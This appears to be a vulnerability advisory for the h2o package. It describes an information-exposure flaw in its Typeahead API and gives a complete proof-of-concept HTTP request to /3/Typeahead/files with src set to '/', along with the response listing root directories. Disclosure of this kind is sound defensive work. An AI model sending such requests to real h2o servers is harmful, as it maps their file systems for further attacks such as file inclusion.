Information Exposure Affecting h2o package, versions [0,]

Affected versions of this package are vulnerable to Information Exposure through the Typeahead API call. An attacker can view full paths in the entire file system where the application is hosted by requesting a typeahead lookup of '/'. When combined with a Local File Inclusion (LFI) vulnerability, this vulnerability could lead to the exploitation of the server.

Request with a typeahead lookup of "/":

GET /3/Typeahead/files?src=%2F&limit=10 HTTP/1.1
Host: 127.0.0.1:54321
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://127.0.0.1:54321/flow/index.html
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

Response showing the root filesystem:

HTTP/1.1 200 OK
Connection: close
Date: Fri, 09 Jun 2023 20:48:41 GMT
Cache-Control: no-cache
X-h2o-build-project-version: 3.40.0.4
X-h2o-rest-api-version-max: 3
X-h2o-cluster-id: 1686343658108
X-h2o-cluster-good: true
X-Frame-Options: deny
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'self' 'unsafe-eval' 'unsafe-inline'; img-src 'self' data:
Content-Type: application/json
Content-Length: 219

{"__meta":{"schema_version":3,"schema_name":"TypeaheadV3","schema_type":"Iced"},"_exclude_fields":"","src":"/","limit":10,"matches":["/home","/usr","/bin","/sbin","/etc","/var","/Library","/System","/private","/Users"]}

• Vulnerable Code